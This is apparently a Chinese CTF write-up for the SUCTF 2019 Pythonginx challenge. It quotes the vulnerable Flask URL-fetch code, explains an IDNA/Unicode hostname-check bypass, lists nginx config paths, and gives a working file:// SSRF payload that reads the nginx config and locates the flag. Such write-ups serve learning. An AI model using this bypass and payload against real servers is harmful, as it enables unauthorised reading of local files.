看源码
@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
url = request.args.get("url")
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return "我扌 your problem? 111"
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return "我扌 your problem? 222 " + host
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
#去掉 url 中的空格
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return urllib.request.urlopen(finalUrl).read()
else:
return "我扌 your problem? 333"
总共有三个if,目的就是通过URL编码绕过,前两个if不能等于suctf.cc,但是第三个要等于suctf.cc,在第二个if后会对URL先进行idna再utf-8编码,利用点就是这里
℆这个字符,如果使用python3进行idna编码的话
print(‘℆’.encode(‘idna’))
结果
b’c/u’
如果再使用utf-8进行解码的话
print(b’c/u’.decode(‘utf-8’))
结果
c/u
通过这种方法可以绕过网站的一些过滤字符idna与utf-8编码漏洞_会飞的a1y2~的博客-CSDN博客_idna编码
另外用脚本也可以获得这类字符[SUCTF 2019]Pythonginx_旸哥哥的博客-CSDN博客
ℂ, ℭ,Ⅽ , ⅽ , Ⓒ,ⓒ,C,这几个字符在经过idna编码再经过utf-8编码后都是c
这样就能使前两个if时不是suctf.cc而后两个是另外又提示nginx
Nginx 重要文件目录
配置文件存放目录:/etc/nginx
主要配置文件:/etc/nginx/conf/nginx.conf
管理脚本:/usr/lib64/systemd/system/nginx.service
模块:/usr/lisb64/nginx/modules
应用程序:/usr/sbin/nginx
程序默认存放位置:/usr/share/nginx/html
日志默认存放位置:/var/log/nginx
Nginx配置文件:/usr/local/nginx/conf/nginx.conf
通过file协议就能打开配置文件
payload:/getUrl?url=file://suctf.cℭ/usr/local/nginx/conf/nginx.conf
可以看到flag在/usr/fffffflag里,打开一下
这个题的方法很多但是只理解了这一种。。。